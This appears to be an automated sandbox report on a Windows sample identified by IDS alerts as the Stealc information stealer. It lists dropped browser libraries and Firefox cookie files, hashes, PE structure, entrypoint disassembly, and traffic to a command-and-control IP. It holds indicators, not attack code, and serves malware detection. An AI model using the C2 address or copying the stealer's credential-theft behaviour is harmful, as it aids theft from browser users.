SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94672586204203
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'858'048 bytes
MD5:	279b92e7a6114a2fb3ab693e1f44986d
SHA1:	a5bdcdc42686a9bd6e84c64c1c1cc08e8a092080
SHA256:	6def5d54651eadddb784cfc5b852903126436fa9b81c4abcceed6dce3dc6a72e
SHA512:	1c84d7c8710ea4715a31c7700abba63d9fefcb4c1edd6deeaef1fd0f0e6d416d45543230d129d3c0ab6a3cb8cc2ef569619f934fe50f5fcf84f9419a77ba9c75
SSDEEP:	49152:lWLRILxD/GnSsxUP58szJ5MW37I98WJEQXuJ:lTlDwSfyszc4EeWJEMuJ
TLSH:	4E8533553DB6157AC37F02B2961ECEBB7B2823A209D977751D3C807D1A07900A7ECE68
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F33587EB52Ah
pabsb mm0, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F33587ED525h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a682959327d0027f784dce0dcf4565e7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	a088b49a063e96fe9c85c50e92502a9a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uacsjmgi	0x4fe000	0x1a0000	0x19f800	afed2ce08d850155d7aa5a6005a94833	False	0.9949080080475331	data	7.9525126294132304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vdnhxnkx	0x69e000	0x1000	0x400	ef2ef1cef1f68b4c5dafa261b668ed79	False	0.763671875	data	6.05298512341656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69f000	0x3000	0x2200	68b91628f9c58ff4bf41a055f9fe4060	False	0.0724954044117647	DOS executable (COM)	0.926474319669351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-12T13:17:20.602907+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:20.831542+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:20.838159+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-12T13:17:21.060848+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:21.068028+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-12T13:17:22.158661+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:22.649079+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:27.809651+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:28.857740+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:29.678610+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:30.117166+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:31.932365+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-12T13:17:32.448115+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 12, 2024 13:17:09.767302990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:09.772932053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:09.773050070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:09.773190022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:09.778704882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.360377073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.360438108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.363024950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.367993116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.602840900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.602906942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.604172945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.608994961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.831427097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.831485033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:20.831542015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.831571102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.833095074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:20.838159084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060780048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060830116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060847998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.060867071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060868025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.060900927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060908079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.060935974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060942888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.060970068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.060976028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.061007977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.061012030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.061048031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.063126087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.068027973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.290361881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.290421009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.306128025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.306145906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:21.311477900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.311548948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.311579943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.311608076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.311638117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:21.311667919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.158597946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.158660889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.418967009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.424540997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649012089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649063110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649079084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649102926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649108887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649152040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649167061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649202108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649214029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649236917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649236917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649276972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649518967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649571896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649575949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649610996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649620056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649646997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649653912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649684906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.649691105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.649729013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.650386095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.650437117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.650441885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.650476933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.650480986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.650527000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.773313999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.773365021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.773392916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.773403883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.773436069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:22.773438931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:22.773472071 CEST	80	49730	185.215.113.37	192.168.2.4
